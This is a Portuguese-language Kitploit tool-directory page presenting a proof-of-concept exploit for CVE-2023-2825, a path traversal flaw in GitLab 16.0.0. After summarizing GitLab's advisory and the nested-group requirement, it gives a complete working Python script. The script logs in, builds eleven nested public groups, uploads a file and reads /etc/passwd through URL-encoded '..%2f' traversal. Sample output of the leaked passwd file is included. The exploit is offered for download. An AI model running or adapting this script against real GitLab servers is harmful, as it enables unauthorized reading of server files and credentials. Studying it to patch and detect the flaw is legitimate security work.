Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-2825-Gitlab — a prova de conceito escrita em Python para um usuário mal-intencionado não autenticado pode usar uma vulnerabilidade de path traversal para ler arquivos arbitrários no servidor quando existe um anexo em um projeto público aninhado em pelo menos cinco grupos. Este é um problema de gravidade crítica | Kitploit
Ferramentas/GitHubGitHub/tornad0007/cve-2023-2825-gitlab
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração
GitHubtornad0007/cve-2023-2825-gitlab

CVE-2023-2825-Gitlab

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

1há 3 anosAinda não revisado

a prova de conceito escrita em Python para um usuário mal-intencionado não autenticado pode usar uma vulnerabilidade de path traversal para ler arquivos arbitrários no servidor quando existe um anexo em um projeto público aninhado em pelo menos cinco grupos. Este é um problema de gravidade crítica

Compartilhar

CVE-2023-2825

Em 23 de maio de 2023, o GitLab lançou a versão 16.0.1 que corrigiu uma vulnerabilidade crítica, CVE-2023-2825, afetando as edições Community Edition (CE) e Enterprise Edition (EE) versão 16.0.0. A vulnerabilidade permite que usuários não autenticados leiam arquivos arbitrários através de uma falha de path traversal. Foi descoberta por pwnie no HackerOne através do programa de recompensas por bugs.

No momento da escrita, não havia nenhuma prova de conceito pública disponível.

Comunicado do GitLab

Um usuário malicioso não autenticado pode usar uma vulnerabilidade de path traversal para ler arquivos arbitrários no servidor quando um anexo existe em um projeto público aninhado em pelo menos cinco grupos. Esta é uma questão de gravidade crítica (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).

Subgrupos

Esta vulnerabilidade tem um requisito interessante: o projeto precisa estar aninhado em pelo menos 5 grupos. Em nossos testes, encontramos uma correlação direta entre a quantidade de grupos e os diretórios que você pode percorrer. A regra parece ser N + 1, ou seja, se você deseja percorrer 10 diretórios, precisa ter 11 grupos.

Em uma instalação padrão do GitLab, os anexos de arquivos são enviados para /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>. Portanto, se você quiser chegar à raiz do sistema de arquivos, deve voltar 10 diretórios e, portanto, precisa de 11 grupos.

Upload de Arquivo e Path Traversal

Quando você envia um arquivo como anexo em uma issue do GitLab, uma requisição é enviada para POST - /:repo/upload. Isso retorna uma resposta JSON com a URL do arquivo, permitindo que você acesse o arquivo.

A URL do arquivo é composta por /:repo/uploads/:id/:file, onde :file é o nome do arquivo. Substituir :file por qualquer caminho de arquivo fará com que o GitLab retorne o arquivo solicitado. O GitLab falha em sanitizar este caminho de arquivo, levando a path traversal.

Para explorar esta vulnerabilidade com sucesso, você deve codificar a / no caminho do arquivo usando URL encoding. O GitLab lerá isso como um valor e o decodificará internamente. Não codificá-lo fará com que o GitLab interprete a / no caminho do arquivo como parte da rota.

Em nossos testes, codificar apenas a / foi suficiente para contornar erros de caminho do Nginx.

Autenticação

Usuários não autenticados só podem explorar esta vulnerabilidade em repositórios públicos que atendam aos requisitos de grupo aninhado. A autenticação é necessária para acessar o repositório em si.

Prova de Conceito

Aqui está a prova de conceito escrita em Python. Ela cria os 11 grupos, cria um repositório público, envia um arquivo e então explora a vulnerabilidade para obter o arquivo /etc/passwd.

Saída

root@kitploit:~
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

Código

root@kitploit:~
import requests
import random
import string
from urllib.parse import urlparse
from bs4 import BeautifulSoup


ENDPOINT = "https://gitlab.example.com"
USERNAME = "root"
PASSWORD = "toor"

# Session for cookies
session = requests.Session()

# CSRF token
csrf_token = ""

# Ignore invalid SSL
requests.urllib3.disable_warnings()


def request(method, path, data=None, files=None, headers=None):
    global csrf_token

    if method == "POST" and isinstance(data, dict):
        data["authenticity_token"] = csrf_token

    response = session.request(
        method,
        f"{ENDPOINT}{path}",
        data=data,
        files=files,
        headers=headers,
        verify=False,
    )
    if response.status_code != 200:
        print(response.text)
        print(f"[*] Request failed: {method} - {path} => {response.status_code}")
        exit(1)

    if response.headers["content-type"].startswith("text/html"):
        csrf_token = BeautifulSoup(response.text, "html.parser").find(
            "meta", {"name": "csrf-token"}
        )["content"]

    return response


# Get initial CSRF token
request("GET", "")

# Login
print("[*] Attempting to login...")
request(
    "POST",
    "/users/sign_in",
    data={"user[login]": USERNAME, "user[password]": PASSWORD},
)

print(f"[*] Login successful as user '{USERNAME}'")


# Create groups
group_prefix = "".join(random.choices(string.ascii_uppercase + string.digits, k=3))
print(f"[*] Creating 11 groups with prefix {group_prefix}")

parent_id = ""
for i in range(1, 12):
    # Create group
    name = f"{group_prefix}-{i}"
    create_resp = request(
        "POST",
        "/groups",
        data={
            "group[parent_id]": parent_id,
            "group[name]": name,
            "group[path]": name,
            "group[visibility_level]": 20,
            "user[role]": "software_developer",
            "group[jobs_to_be_done]": "",
        },
    )

    # Get group id
    parent_id = BeautifulSoup(create_resp.text, "html.parser").find(
        "button", {"title": "Copy group ID"}
    )["data-clipboard-text"]

    print(f"[*] Created group '{name}'")

# Create project
project_resp = request(
    "POST",
    "/projects",
    data={
        "project[ci_cd_only]": "false",
        "project[name]": "CVE-2023-2825",
        "project[selected_namespace_id]": parent_id,
        "project[namespace_id]": parent_id,
        "project[path]": "CVE-2023-2825",
        "project[visibility_level]": 20,
        "project[initialize_with_readme": 1,
    },
)
repo_path = urlparse(project_resp.url).path
print(f"[*] Created public repo '{repo_path}'")

# Upload file
file_resp = request(
    "POST",
    f"/{repo_path}/uploads",
    files={"file": "hello world"},
    headers={"X-CSRF-Token": csrf_token},
)
file_url = file_resp.json()["link"]["url"]
print(f"[*] Uploaded file '{file_url}'")

# Get /etc/passwd
exploit_path = f"/{repo_path}{file_url.split('file')[0]}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
print(f"[*] Executing exploit, fetching file '/etc/passwd': GET - {exploit_path}")
exploit_resp = request("GET", exploit_path)
print(f"\n{exploit_resp.text}")

Ações Recomendadas

A GitLab recomenda atualizar todas as versões afetadas por este problema o mais rápido possível.

Referências

https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/

Baixar ferramenta